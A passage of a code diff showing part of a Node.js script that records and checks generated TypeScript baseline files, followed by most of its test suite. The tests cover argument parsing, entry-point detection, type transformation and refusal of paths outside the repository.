+function scriptPath(config) {
+  return relative(REPOSITORY_ROOT, fileURLToPath(config.scriptUrl))
+    .split(sep)
+    .join('/');
+}
+
+function usage(config, message) {
+  process.stderr.write(
+    `${message}\nusage: node ${scriptPath(config)} --check | --write\n`,
+  );
+}
+
+function parseArguments(config, argv) {
+  let mode;
+  for (const argument of argv) {
+    if (argument !== '--check' && argument !== '--write') {
+      usage(config, `unknown argument '${argument}'`);
+      return undefined;
+    }
+    if (mode && mode !== argument) {
+      usage(config, 'conflicting modes: choose --check or --write');
+      return undefined;
+    }
+    mode = argument;
+  }
+  if (!mode) usage(config, 'missing mode: choose --check or --write');
+  return mode;
+}
+
+// The fixture chain (and the function it drives) is TypeScript with parameter
+// properties, which Node's default strip-only mode refuses, so the recorder
+// re-executes itself once with full type transformation.
+function reexecuteWithTypeTransform(config, argv) {
+  const result = spawnSync(
+    process.execPath,
+    [
+      '--experimental-transform-types',
+      '--no-warnings',
+      fileURLToPath(config.scriptUrl),
+      ...argv,
+    ],
+    { stdio: 'inherit' },
+  );
+  if (result.error) throw result.error;
+  return result.status ?? 1;
+}
+
+// Test sources import sibling modules with `.js` specifiers, which Node does
+// not remap to the `.ts` files on disk.
+function registerTypeScriptResolution() {
+  const hook = `
+    import { existsSync } from 'node:fs';
+    import { fileURLToPath } from 'node:url';
+    export async function resolve(specifier, context, next) {
+      const relative = specifier.startsWith('.') || specifier.startsWith('/');
+      if (relative && specifier.endsWith('.js')) {
+        const target = new URL(specifier, context.parentURL);
+        if (!existsSync(fileURLToPath(target))) {
+          const candidate = new URL(\`\${target.href.slice(0, -3)}.ts\`);
+          if (existsSync(fileURLToPath(candidate))) {
+            return next(candidate.href, context);
+          }
+        }
+      }
+      return next(specifier, context);
+    }
+  `;
+  register(`data:text/javascript,${encodeURIComponent(hook)}`);
+}
+
+function quoted(value) {
+  const escaped = JSON.stringify(value)
+    .slice(1, -1)
+    .replaceAll('\\"', '"')
+    .replaceAll("'", "\\'");
+  return `'${escaped}'`;
+}
+
+function primitive(value) {
+  if (value === undefined) return 'undefined';
+  if (value === null) return 'null';
+  if (typeof value === 'string') return quoted(value);
+  if (Object.is(value, -0)) return '-0';
+  if (typeof value === 'number' || typeof value === 'boolean') {
+    return String(value);
+  }
+  throw new Error(`unsupported baseline value type '${typeof value}'`);
+}
+
+function isComposite(value) {
+  return typeof value === 'object' && value !== null;
+}
+
+function validateValue(value, path, ancestors = new Set()) {
+  if (!isComposite(value)) {
+    if (
+      value === null ||
+      value === undefined ||
+      typeof value === 'string' ||
+      typeof value === 'boolean' ||
+      typeof value === 'number'
+    )
+      return;
+    throw new Error(
+      `${path}: unsupported baseline value type '${typeof value}'`,
+    );
+  }
+  const array = Array.isArray(value);
+  const prototype = Object.getPrototypeOf(value);
+  if (
+    array
+      ? prototype !== Array.prototype
+      : prototype !== Object.prototype && prototype !== null
+  ) {
+    throw new Error(`${path}: expected a plain map or ordinary array`);
+  }
+  if (ancestors.has(value)) throw new Error(`${path}: cyclic baseline value`);
+  ancestors.add(value);
+  const keys = Reflect.ownKeys(value).filter(
+    (key) => !array || key !== 'length',
+  );
+  if (array && keys.length !== value.length) {
+    throw new Error(`${path}: expected a dense array without extra properties`);
+  }
+  for (const [index, key] of keys.entries()) {
+    if (typeof key !== 'string') {
+      throw new Error(`${path}: symbol properties are unsupported`);
+    }
+    if (array && key !== String(index)) {
+      throw new Error(
+        `${path}: expected a dense array without extra properties`,
+      );
+    }
+    const propertyPath = `${path}[${array ? key : JSON.stringify(key)}]`;
+    const descriptor = Object.getOwnPropertyDescriptor(value, key);
+    if (!descriptor.enumerable || !Object.hasOwn(descriptor, 'value')) {
+      throw new Error(`${propertyPath}: expected an enumerable data property`);
+    }
+    validateValue(descriptor.value, propertyPath, ancestors);
+  }
+  ancestors.delete(value);
+}
+
+function configuredValue(values, key, path) {
+  if (!isComposite(values) || !Object.hasOwn(values, key)) {
+    throw new Error(`${path}: missing own property`);
+  }
+  const descriptor = Object.getOwnPropertyDescriptor(values, key);
+  if (!descriptor.enumerable || !Object.hasOwn(descriptor, 'value')) {
+    throw new Error(`${path}: expected an enumerable data property`);
+  }
+  validateValue(descriptor.value, path);
+  return descriptor.value;
+}
+
+function propertyKey(key) {
+  if (key === '__proto__') return "['__proto__']";
+  return /^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(key) ? key : quoted(key);
+}
+
+// Emits readable TypeScript; `biome check --write` owns the final layout.
+function render(value) {
+  if (!isComposite(value)) return primitive(value);
+  if (Array.isArray(value)) {
+    if (value.length === 0) return '[]';
+    return `[${value.map((item) => `${render(item)},`).join('\n')}]`;
+  }
+  const entries = Object.entries(value);
+  if (entries.length === 0) return '{}';
+  return `{${entries
+    .map(([key, item]) => `${propertyKey(key)}: ${render(item)},`)
+    .join('\n')}}`;
+}
+
+function baselineSource(config, baseline) {
+  const declarations = config.exports.map((declaration) => {
+    const value = baseline[declaration.key];
+    // TypeScript restricts const assertions to literal expressions.
+    const assertion =
+      value == null || (typeof value === 'number' && !Number.isFinite(value))
+        ? ''
+        : ' as const';
+    return `${declaration.jsDoc ? `${declaration.jsDoc}\n` : ''}export const ${declaration.name} = ${render(value)}${assertion} satisfies ${declaration.satisfies};`;
+  });
+  return `// SPDX-License-Identifier: Apache-2.0
+
+/**
+ * GENERATED FILE. DO NOT EDIT BY HAND.
+ */
+
+${config.imports}
+
+${declarations.join('\n\n')}
+`;
+}
+
+function formatGeneratedFile(baselineFilePath) {
+  const result = spawnSync(
+    PNPM,
+    ['exec', 'biome', 'check', '--write', baselineFilePath],
+    { cwd: REPOSITORY_ROOT, stdio: ['ignore', 'ignore', 'inherit'] },
+  );
+  if (result.error) throw result.error;
+  if (result.status !== 0) {
+    throw new Error('biome refused the generated baseline');
+  }
+}
+
+function describeValue(value) {
+  if (isComposite(value)) {
+    return Array.isArray(value)
+      ? `array(${value.length})`
+      : `object{${Object.keys(value).join(',')}}`;
+  }
+  return primitive(value);
+}
+
+function structuralDifferences(committed, derived, path, differences) {
+  if (isComposite(committed) !== isComposite(derived)) {
+    differences.push(
+      `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`,
+    );
+    return differences;
+  }
+  if (!isComposite(committed)) {
+    if (!Object.is(committed, derived)) {
+      differences.push(
+        `${path}: committed ${primitive(committed)} / derived ${primitive(derived)}`,
+      );
+    }
+    return differences;
+  }
+  if (Array.isArray(committed) !== Array.isArray(derived)) {
+    differences.push(
+      `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`,
+    );
+    return differences;
+  }
+  if (Array.isArray(committed)) {
+    if (committed.length !== derived.length) {
+      differences.push(
+        `${path}: committed ${committed.length} item(s) / derived ${derived.length} item(s)`,
+      );
+    }
+    const length = Math.max(committed.length, derived.length);
+    for (let index = 0; index < length; index += 1) {
+      const onlyDerived = index >= committed.length;
+      if (onlyDerived || index >= derived.length) {
+        const side = onlyDerived ? 'derived only' : 'committed only';
+        const value = onlyDerived ? derived[index] : committed[index];
+        differences.push(`${path}[${index}]: ${side} ${describeValue(value)}`);
+        continue;
+      }
+      structuralDifferences(
+        committed[index],
+        derived[index],
+        `${path}[${index}]`,
+        differences,
+      );
+    }
+    return differences;
+  }
+  const committedKeys = Object.keys(committed);
+  const derivedKeys = Object.keys(derived);
+  if (
+    committedKeys.length !== derivedKeys.length ||
+    committedKeys.some((key, index) => key !== derivedKeys[index])
+  ) {
+    differences.push(
+      `${path}: committed keys ${JSON.stringify(committedKeys)} / derived keys ${JSON.stringify(derivedKeys)}`,
+    );
+  }
+  for (const key of new Set([...committedKeys, ...derivedKeys])) {
+    if (!Object.hasOwn(committed, key) || !Object.hasOwn(derived, key)) {
+      const onlyDerived = !Object.hasOwn(committed, key);
+      const side = onlyDerived ? 'derived only' : 'committed only';
+      const value = onlyDerived ? derived[key] : committed[key];
+      differences.push(`${path}.${key}: ${side} ${describeValue(value)}`);
+      continue;
+    }
+    structuralDifferences(
+      committed[key],
+      derived[key],
+      `${path}.${key}`,
+      differences,
+    );
+  }
+  return differences;
+}
+
+async function main(config, argv) {
+  const mode = parseArguments(config, argv);
+  if (!mode) return 2;
+  if (process.features.typescript !== 'transform') {
+    return reexecuteWithTypeTransform(config, argv);
+  }
+  registerTypeScriptResolution();
+  const baselineFilePath = repositoryPath(config.baselineFile, 'baselineFile');
+  const worldModulePath = repositoryPath(config.worldModule, 'worldModule');
+  if (!existsSync(worldModulePath)) {
+    process.stderr.write(
+      `${config.noun} world is missing: ${config.worldModule}\n`,
+    );
+    return 1;
+  }
+  const world = await import(pathToFileURL(worldModulePath).href);
+  const baseline = await config.run(world);
+  for (const declaration of config.exports) {
+    configuredValue(
+      baseline,
+      declaration.key,
+      `derived key '${declaration.key}'`,
+    );
+  }
+
+  if (mode === '--write') {
+    writeFileSync(baselineFilePath, baselineSource(config, baseline));
+    formatGeneratedFile(baselineFilePath);
+    process.stdout.write(
+      `wrote ${config.baselineFile}: ${config.summary(baseline)}\n`,
+    );
+    return 0;
+  }
+
+  if (!existsSync(baselineFilePath)) {
+    process.stderr.write(
+      `${config.noun} baseline is missing: ${config.baselineFile}\n` +
+        `run \`node ${scriptPath(config)} --write\` to record the baseline\n`,
+    );
+    return 1;
+  }
+  // `config.exports` drives the comparison: each declaration selects one
+  // committed export by `name` and its derived counterpart by `key`, so a
+  // committed export with no matching declaration is compared against nothing.
+  const committed = await import(pathToFileURL(baselineFilePath).href);
+  const differences = config.exports.flatMap((declaration) =>
+    structuralDifferences(
+      configuredValue(
+        committed,
+        declaration.name,
+        `committed export '${declaration.name}'`,
+      ),
+      baseline[declaration.key],
+      declaration.key,
+      [],
+    ),
+  );
+  if (differences.length === 0) {
+    process.stdout.write(
+      `${config.noun} baseline matches ${config.baselineFile}: ${config.summary(baseline)}\n`,
+    );
+    return 0;
+  }
+  process.stderr.write(
+    `${config.noun} baseline drifted from ${config.baselineFile}\n` +
+      `${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n` +
+      `${differences.map((difference) => `  ${difference}`).join('\n')}\n`,
+  );
+  return 1;
+}
+
+/**
+ * Runs a recorder entry with explicit `--check` or `--write`.
+ *
+ * Configure `scriptUrl: import.meta.url`, repository-relative `worldModule`
+ * and `baselineFile` paths, `run(world)`, `noun`, `summary(baseline)`, and
+ * generated `imports`. Each `exports` declaration supplies `name`, a derived
+ * `key`, a `satisfies` type expression, and optional `jsDoc`.
+ *
+ * Selected values support undefined, null, strings, booleans, numbers, dense
+ * ordinary arrays, and plain or null-prototype maps with enumerable string
+ * data properties. Map prototypes and shared references are not preserved;
+ * key order and undefined-valued key presence are significant.
+ */
+export async function runBaselineRecorder(config) {
+  const entry = process.argv[1];
+  if (!entry) return;
+  let scriptUrl;
+  try {
+    scriptUrl = new URL(config.scriptUrl);
+  } catch {
+    throw new Error('recorder scriptUrl must be a file URL');
+  }
+  if (scriptUrl.protocol !== 'file:') {
+    throw new Error('recorder scriptUrl must be a file URL');
+  }
+  const recorderFilePath = realpathSync(fileURLToPath(scriptUrl));
+  if (!statSync(recorderFilePath).isFile()) {
+    throw new Error('recorder scriptUrl must name a file');
+  }
+  // Worker files inherit the parent process's eval flags.
+  if (
+    entry === '-' ||
+    (!isMainThread && !isAbsolute(entry)) ||
+    (isMainThread &&
+      process.execArgv.some((argument) =>
+        /^(?:-[ep]|--(?:eval|print)(?:=|$))/u.test(argument),
+      ))
+  )
+    return;
+  let invokedFilePath;
+  try {
+    invokedFilePath = realpathSync(resolve(entry));
+  } catch (error) {
+    if (error?.code === 'ENOENT' || error?.code === 'ENOTDIR') return;
+    throw error;
+  }
+  if (invokedFilePath !== recorderFilePath) return;
+  process.exitCode = await main(config, process.argv.slice(2));
+}
diff --git a/scripts/baseline-recorder.test.mjs b/scripts/baseline-recorder.test.mjs
new file mode 100644
index 00000000..df208257
--- /dev/null
+++ b/scripts/baseline-recorder.test.mjs
@@ -0,0 +1,1067 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import { spawn } from 'node:child_process';
+import {
+  chmodSync,
+  copyFileSync,
+  existsSync,
+  mkdirSync,
+  mkdtempSync,
+  readFileSync,
+  rmSync,
+  symlinkSync,
+  writeFileSync,
+} from 'node:fs';
+import { createRequire } from 'node:module';
+import { tmpdir } from 'node:os';
+import { delimiter, dirname, join, resolve } from 'node:path';
+import { test } from 'node:test';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+
+const repositoryRoot = dirname(dirname(fileURLToPath(import.meta.url)));
+
+function put(root, path, source) {
+  const target = join(root, path);
+  mkdirSync(dirname(target), { recursive: true });
+  writeFileSync(target, source);
+  return target;
+}
+
+function fixture(
+  t,
+  {
+    value = '{ answer: 42 }',
+    committed = `export const BASELINE = ${value};`,
+    worldModule = 'fixtures/world.ts',
+    baselineFile = 'fixtures/baseline.ts',
+    world = `export function run() { return { value: ${value} }; }`,
+    config = '',
+    before = '',
+    after = '',
+  } = {},
+) {
+  const directory = mkdtempSync(join(tmpdir(), 'anchorage-baseline-recorder-'));
+  t.after(() => rmSync(directory, { recursive: true, force: true }));
+  const root = join(directory, 'repo');
+  mkdirSync(join(root, 'scripts'), { recursive: true });
+  copyFileSync(
+    join(repositoryRoot, 'scripts/baseline-recorder.mjs'),
+    join(root, 'scripts/baseline-recorder.mjs'),
+  );
+  const { packageManager } = JSON.parse(
+    readFileSync(join(repositoryRoot, 'package.json'), 'utf8'),
+  );
+  put(
+    root,
+    'package.json',
+    `${JSON.stringify({ type: 'module', packageManager })}\n`,
+  );
+  symlinkSync(
+    join(repositoryRoot, 'node_modules'),
+    join(root, 'node_modules'),
+    'junction',
+  );
+  put(
+    root,
+    'biome.json',
+    '{"javascript":{"formatter":{"quoteStyle":"single"}}}\n',
+  );
+  const events = join(root, 'events.log');
+  const mark = `import { appendFileSync } from 'node:fs';
+const mark = (event) => appendFileSync(${JSON.stringify(events)}, event + '\\n');`;
+  const worldPath = put(
+    root,
+    worldModule,
+    `${mark}\nmark('import');\n${world}`,
+  );
+  const baselinePath =
+    committed === null
+      ? join(root, baselineFile)
+      : put(root, baselineFile, committed);
+  const entry = put(
+    root,
+    'scripts/record.mjs',
+    `${mark}
+${before}
+const { runBaselineRecorder } = await import('./baseline-recorder.mjs');
+await runBaselineRecorder({
+  scriptUrl: import.meta.url,
+  noun: 'fixture',
+  worldModule: ${JSON.stringify(worldModule)},
+  baselineFile: ${JSON.stringify(baselineFile)},
+  run: async (world) => { mark('run'); return await world.run(); },
+  imports: '',
+  exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown' }],
+  summary: () => 'fixture summary',
+  ${config}
+});
+${after}
+`,
+  );
+  return {
+    root,
+    directory,
+    entry,
+    events,
+    worldPath,
+    baselinePath,
+    baselineFile,
+  };
+}
+
+async function run(
+  f,
+  argv = ['--check'],
+  {
+    flags = ['--experimental-transform-types'],
+    entry = f.entry,
+    cwd = f.directory,
+    env = {},
+    input,
+  } = {},
+) {
+  const child = spawn(
+    process.execPath,
+    ['--no-warnings', ...flags, entry, ...argv],
+    {
+      cwd,
+      env: {
+        ...process.env,
+        NODE_OPTIONS: '',
+        COREPACK_ENABLE_NETWORK: '0',
+        COREPACK_ENABLE_AUTO_PIN: '0',
+        ...env,
+      },
+      stdio: [input === undefined ? 'ignore' : 'pipe', 'pipe', 'pipe'],
+      detached: process.platform !== 'win32',
+    },
+  );
+  let stdout = '';
+  let stderr = '';
+  let timedOut = false;
+  if (input !== undefined) child.stdin.end(input);
+  child.stdout.setEncoding('utf8').on('data', (chunk) => {
+    stdout += chunk;
+  });
+  child.stderr.setEncoding('utf8').on('data', (chunk) => {
+    stderr += chunk;
+  });
+  const timer = setTimeout(() => {
+    timedOut = true;
+    if (process.platform === 'win32') child.kill('SIGKILL');
+    else process.kill(-child.pid, 'SIGKILL');
+  }, 15_000);
+  try {
+    const result = await new Promise((resolve, reject) => {
+      child.once('error', reject);
+      child.once('close', (status, signal) => resolve({ status, signal }));
+    });
+    assert.equal(
+      timedOut,
+      false,
+      `recorder watchdog expired\n${stdout}\n${stderr}`,
+    );
+    assert.equal(result.signal, null, stderr);
+    return { ...result, stdout, stderr };
+  } finally {
+    clearTimeout(timer);
+  }
+}
+
+function activity(f) {
+  return existsSync(f.events) ? readFileSync(f.events, 'utf8') : '';
+}
+
+function matchOutput(f) {
+  return `fixture baseline matches ${f.baselineFile}: fixture summary\n`;
+}
+
+function assertError(result, message) {
+  assert.equal(result.status, 1, result.stderr);
+  assert.equal(result.stdout, '');
+  assert.ok(
+    result.stderr.split('\n').includes(`Error: ${message}`),
+    result.stderr,
+  );
+}
+
+for (const [argv, diagnostic] of [
+  [[], 'missing mode: choose --check or --write'],
+  [['--unknown'], "unknown argument '--unknown'"],
+  [['--check', '--unknown'], "unknown argument '--unknown'"],
+  [['--write', '--unknown'], "unknown argument '--unknown'"],
+  [['--check', '--write'], 'conflicting modes: choose --check or --write'],
+  [['--write', '--check'], 'conflicting modes: choose --check or --write'],
+]) {
+  test(`rejects modes ${JSON.stringify(argv)} before world execution`, async (t) => {
+    const f = fixture(t, { after: "mark('returned');" });
+    const before = readFileSync(f.baselinePath);
+    const result = await run(f, argv, { flags: [] });
+    assert.equal(result.status, 2, result.stderr);
+    assert.equal(result.stdout, '');
+    assert.equal(
+      result.stderr,
+      `${diagnostic}\nusage: node scripts/record.mjs --check | --write\n`,
+    );
+    assert.equal(activity(f), 'returned\n');
+    assert.deepEqual(readFileSync(f.baselinePath), before);
+  });
+}
+
+test('repeated check mode matches outside the repository without writing', async (t) => {
+  const f = fixture(t);
+  const before = readFileSync(f.baselinePath);
+  const result = await run(f, ['--check', '--check']);
+  assert.equal(result.status, 0, result.stderr);
+  assert.equal(result.stdout, matchOutput(f));
+  assert.equal(result.stderr, '');
+  assert.equal(activity(f), 'import\nrun\n');
+  assert.deepEqual(readFileSync(f.baselinePath), before);
+});
+
+for (const entryKind of [
+  'direct',
+  'file symlink',
+  'directory symlink',
+  'encoded script URL',
+]) {
+  test(`${entryKind} reports drift and preserves the target`, async (t) => {
+    const f = fixture(t, {
+      committed: 'export const BASELINE = { answer: 41 };',
+      config:
+        entryKind === 'encoded script URL'
+          ? "scriptUrl: import.meta.url.replace('record.mjs', '%72ecord.mjs'),"
+          : '',
+    });
+    let entry = f.entry;
+    if (entryKind === 'file symlink') {
+      entry = join(f.directory, 'linked.mjs');
+      symlinkSync(f.entry, entry, 'file');
+    } else if (entryKind === 'directory symlink') {
+      const linked = join(f.directory, 'linked');
+      symlinkSync(f.root, linked, 'junction');
+      entry = join(linked, 'scripts/record.mjs');
+    }
+    const before = readFileSync(f.baselinePath);
+    const result = await run(f, ['--check'], { entry, flags: [] });
+    assert.equal(result.status, 1, result.stderr);
+    assert.equal(result.stdout, '');
+    assert.equal(
+      result.stderr,
+      `fixture baseline drifted from fixtures/baseline.ts\n1 structural difference(s), committed vs re-derived from the unchanged world:\n  value.answer: committed 41 / derived 42\n`,
+    );
+    assert.equal(activity(f), 'import\nrun\n');
+    assert.deepEqual(readFileSync(f.baselinePath), before);
+  });
+}
+
+test('an importing entry remains inert and keeps its exit status', async (t) => {
+  const f = fixture(t);
+  const before = readFileSync(f.baselinePath);
+  const entry = put(
+    f.root,
+    'importer.mjs',
+    `process.exitCode = 7; await import('./scripts/record.mjs');`,
+  );
+  const result = await run(f, ['--write'], { entry, flags: [] });
+  assert.equal(result.status, 7, result.stderr);
+  assert.equal(result.stdout + result.stderr, '');
+  assert.equal(activity(f), '');
+  assert.deepEqual(readFileSync(f.baselinePath), before);
+});
+
+for (const alias of [false, true]) {
+  test(`stdin imports stay inert with an existing dash alias ${alias}`, async (t) => {
+    const f = fixture(t);
+    if (alias) symlinkSync(f.entry, join(f.directory, '-'), 'file');
+    const before = readFileSync(f.baselinePath);
+    const result = await run(f, ['--write'], {
+      entry: '-',
+      flags: ['--input-type=module'],
+      input: `process.exitCode = 7; await import(${JSON.stringify(pathToFileURL(f.entry).href)});`,
+    });
+    assert.equal(result.status, 7, result.stderr);
+    assert.equal(result.stdout + result.stderr, '');
+    assert.equal(activity(f), '');
+    assert.deepEqual(readFileSync(f.baselinePath), before);
+  });
+}
+
+for (const option of [
+  '-e',
+  '--eval',
+  '--eval=',
+  '-p',
+  '--print',
+  '--print=true',
+]) {
+  for (const matchingFile of [false, true]) {
+    test(`${option} imports stay inert with a matching file argument ${matchingFile}`, async (t) => {
+      const f = fixture(t);
+      const before = readFileSync(f.baselinePath);
+      const program = `process.exitCode = 7; void import(${JSON.stringify(pathToFileURL(f.entry).href)});`;
+      const positional = matchingFile ? f.entry : 'not-a-script';
+      const attached = option.endsWith('=');
+      const result = await run(
+        f,
+        attached ? ['--write'] : [positional, '--write'],
+        {
+          flags: [attached ? `${option}${program}` : option],
+          entry: attached ? positional : program,
+        },
+      );
+      assert.equal(result.status, 7, result.stderr);
+      assert.equal(result.stdout, option.includes('p') ? 'undefined\n' : '');
+      assert.equal(result.stderr, '');
+      assert.equal(activity(f), '');
+      assert.deepEqual(readFileSync(f.baselinePath), before);
+    });
+  }
+}
+
+test('an absent importing entry path stays inert', async (t) => {
+  const f = fixture(t);
+  const before = readFileSync(f.baselinePath);
+  const entry = put(
+    f.root,
+    'importer.mjs',
+    "process.exitCode = 7; process.argv[1] = 'missing-importer.mjs'; await import('./scripts/record.mjs');",
+  );
+  const result = await run(f, ['--write'], { entry });
+  assert.equal(result.status, 7, result.stderr);
+  assert.equal(result.stdout + result.stderr, '');
+  assert.equal(activity(f), '');
+  assert.deepEqual(readFileSync(f.baselinePath), before);
+});
+
+test('a worker file remains an entry when its parent uses eval', async (t) => {
+  const f = fixture(t);
+  const program = `const { Worker } = require('node:worker_threads');
+const worker = new Worker(${JSON.stringify(f.entry)}, { argv: ['--check'], stdout: true, stderr: true });
+worker.stdout.pipe(process.stdout);
+worker.stderr.pipe(process.stderr);
+worker.on('error', error => { throw error; });
+worker.on('exit', code => { process.exitCode = code; });`;
+  const result = await run(f, [], { flags: ['-e'], entry: program });
+  assert.equal(result.status, 0, result.stderr);
+  assert.equal(result.stdout, matchOutput(f));
+  assert.equal(result.stderr, '');
+  assert.equal(activity(f), 'import\nrun\n');
+});
+
+test('an eval worker import stays inert when its virtual name aliases the recorder', async (t) => {
+  const f = fixture(t);
+  symlinkSync(f.entry, join(f.directory, '[worker eval]'), 'file');
+  const before = readFileSync(f.baselinePath);
+  const program = `process.exitCode = 7; void import(${JSON.stringify(pathToFileURL(f.entry).href)});`;
+  const entry = put(
+    f.root,
+    'worker-importer.cjs',
+    `const { Worker } = require('node:worker_threads');
+const worker = new Worker(${JSON.stringify(program)}, { eval: true, argv: ['--write'], stdout: true, stderr: true });
+worker.stdout.pipe(process.stdout);
+worker.stderr.pipe(process.stderr);
+worker.on('error', error => { throw error; });
+worker.on('exit', code => { process.exitCode = code; });`,
+  );
+  const result = await run(f, [], { entry });
+  assert.equal(result.status, 7, result.stderr);
+  assert.equal(result.stdout + result.stderr, '');
+  assert.equal(activity(f), '');
+  assert.deepEqual(readFileSync(f.baselinePath), before);
+});
+
+test('an absent argv entry remains inert even without a configured URL', async (t) => {
+  const f = fixture(t, {
+    before: 'process.argv.splice(1); process.exitCode = 7;',
+    config: 'scriptUrl: undefined,',
+  });
+  const result = await run(f, ['--write']);
+  assert.equal(result.status, 7, result.stderr);
+  assert.equal(result.stdout + result.stderr, '');
+  assert.equal(activity(f), '');
+});
+
+for (const scriptUrl of [
+  "'not a URL'",
+  "'https://example.invalid/recorder.mjs'",
+  "'data:text/javascript,'",
+]) {
+  test(`rejects invalid recorder identity ${scriptUrl}`, async (t) => {
+    const f = fixture(t, { config: `scriptUrl: ${scriptUrl},` });
+    assertError(await run(f), 'recorder scriptUrl must be a file URL');
+    assert.equal(activity(f), '');
+  });
+}
+
+test('a missing script URL target fails loudly', async (t) => {
+  const f = fixture(t, {
+    config: "scriptUrl: new URL('./missing.mjs', import.meta.url),",
+  });
+  const result = await run(f);
+  assert.equal(result.status, 1);
+  assert.match(result.stderr, /Error: ENOENT:.*missing\.mjs/);
+  assert.equal(result.stdout, '');
+  assert.equal(activity(f), '');
+});
+
+test('a directory script URL target fails loudly', async (t) => {
+  const f = fixture(t, {
+    config: "scriptUrl: new URL('./', import.meta.url),",
+  });
+  assertError(await run(f), 'recorder scriptUrl must name a file');
+  assert.equal(activity(f), '');
+});
+
+for (const flags of [[], ['--experimental-transform-types']]) {
+  test(`type transformation and .js resolution run once with ${JSON.stringify(flags)}`, async (t) => {
+    const f = fixture(t, {
+      world: `import { Box } from './box.js'; import { choice } from './choice.js';
+export function run() { return { value: { answer: new Box(42).value, choice } }; }`,
+      committed: `export const BASELINE = { answer: 42, choice: 'js' };`,
+      after: "mark('returned');",
+    });
+    put(
+      f.root,
+      'fixtures/box.ts',
+      'export class Box { constructor(public value: number) {} }',
+    );
+    put(f.root, 'fixtures/choice.js', "export const choice = 'js';");
+    put(f.root, 'fixtures/choice.ts', "export const choice = 'ts';");
+    const result = await run(f, ['--check'], { flags });
+    assert.equal(result.status, 0, result.stderr);
+    assert.equal(result.stdout, matchOutput(f));
+    assert.equal(result.stderr, '');
+    assert.equal(
+      activity(f),
+      `import\nrun\nreturned\n${flags.length === 0 ? 'returned\n' : ''}`,
+    );
+  });
+}
+
+test('transform child errors return to the parent without another world run', async (t) => {
+  const f = fixture(t, {
+    world: "export function run() { throw new Error('WORLD_REFUSED'); }",
+    after: "mark('returned');",
+  });
+  assertError(await run(f, ['--check'], { flags: [] }), 'WORLD_REFUSED');
+  assert.equal(activity(f), 'import\nrun\nreturned\n');
+});
+
+test('preserves a transform child exit status set during natural completion', async (t) => {
+  const f = fixture(t, {
+    world: `export function run() {
+      process.once('beforeExit', () => { process.exitCode = 23; });
+      return { value: { answer: 42 } };
+    }`,
+    after: "mark('returned');",
+  });
+  const result = await run(f, ['--check'], { flags: [] });
+  assert.equal(result.status, 23, result.stderr);
+  assert.equal(result.stdout, matchOutput(f));
+  assert.equal(result.stderr, '');
+  assert.equal(activity(f), 'import\nrun\nreturned\nreturned\n');
+});
+
+test('transform child spawn errors remain failures', async (t) => {
+  const f = fixture(t, {
+    before:
+      "Object.defineProperty(process, 'execPath', { value: '/missing-recorder-node' });",
+  });
+  const result = await run(f, ['--check'], { flags: [] });
+  assert.equal(result.status, 1);
+  assert.match(result.stderr, /spawnSync \/missing-recorder-node ENOENT/);
+  assert.equal(result.stdout, '');
+  assert.equal(activity(f), '');
+});
+
+test('signal termination of a transform child returns failure', {
+  skip: process.platform === 'win32',
+}, async (t) => {
+  const f = fixture(t, {
+    world: "export function run() { process.kill(process.pid, 'SIGTERM'); }",
+    after: "mark('returned');",
+  });
+  const result = await run(f, ['--check'], { flags: [] });
+  assert.equal(result.status, 1);
+  assert.equal(result.stdout + result.stderr, '');
+  assert.equal(activity(f), 'import\nrun\nreturned\n');
+});
+
+for (const flags of [[], ['--experimental-transform-types']]) {
+  test(`drains the complete large report with ${JSON.stringify(flags)}`, async (t) => {
+    const rows = Array.from(
+      { length: 4096 },
+      (_, index) => `row-${index}-${'x'.repeat(80)}`,
+    );
+    const f = fixture(t, {
+      value: JSON.stringify([...rows, 'DERIVED_FINAL_SENTINEL']),
+      committed: `export const BASELINE = ${JSON.stringify([...rows.map((row) => `old-${row}`), 'COMMITTED_FINAL_SENTINEL'])};`,
+    });
+    const expected = [
+      ...rows.map(
+        (row, index) =>
+          `  value[${index}]: committed 'old-${row}' / derived '${row}'`,
+      ),
+      `  value[4096]: committed 'COMMITTED_FINAL_SENTINEL' / derived 'DERIVED_FINAL_SENTINEL'`,
+    ];
+    const result = await run(f, ['--check'], { flags });
+    assert.equal(result.status, 1);
+    assert.equal(result.stdout, '');
+    assert.deepEqual(result.stderr.split('\n'), [
+      'fixture baseline drifted from fixtures/baseline.ts',
+      '4097 structural difference(s), committed vs re-derived from the unchanged world:',
+      ...expected,
+      '',
+    ]);
+  });
+}
+
+test('file URL imports preserve spaces, percent, query and fragment characters', async (t) => {
+  const f = fixture(t, {
+    worldModule: 'fixtures/space % # ?/world.ts',
+    baselineFile: 'fixtures/space % # ?/baseline.ts',
+  });
+  const result = await run(f);
+  assert.equal(result.status, 0, result.stderr);
+  assert.equal(result.stdout, matchOutput(f));
+  assert.equal(result.stderr, '');
+});
+
+for (const field of ['worldModule', 'baselineFile']) {
+  for (const [path, diagnostic] of [
+    ['', 'repository-relative filesystem path'],
+    [null, 'repository-relative filesystem path'],
+    [42, 'repository-relative filesystem path'],
+    [resolve('/absolute-recorder.ts'), 'repository-relative filesystem path'],
+    ['file:///world.ts', 'repository-relative filesystem path'],
+    ['https://example.invalid/world.ts', 'repository-relative filesystem path'],
+    ['data:text/javascript,', 'repository-relative filesystem path'],
+    ['../outside.ts', 'resolve to a path inside the repository'],
+    ['fixtures/../../outside.ts', 'resolve to a path inside the repository'],
+    ['.', 'resolve to a path inside the repository'],
+    ['fixtures/..', 'resolve to a path inside the repository'],
+  ]) {
+    test(`refuses ${field} ${JSON.stringify(path)} before world execution`, async (t) => {
+      const f = fixture(t, { config: `${field}: ${JSON.stringify(path)},` });
+      const before = readFileSync(f.baselinePath);
+      const prefix = diagnostic.startsWith('resolve') ? 'must' : 'must be a';
+      assertError(
+        await run(f, ['--write']),
+        `${field} ${prefix} ${diagnostic}`,
+      );
+      assert.equal(activity(f), '');
+      assert.deepEqual(readFileSync(f.baselinePath), before);
+    });
+  }
+}
+
+test('normalizes relative paths within the repository', async (t) => {
+  const f = fixture(t, {
+    config:
+      "worldModule: './fixtures/../fixtures/world.ts', baselineFile: './fixtures/../fixtures/baseline.ts',",
+  });
+  const result = await run(f);
+  assert.equal(result.status, 0, result.stderr);
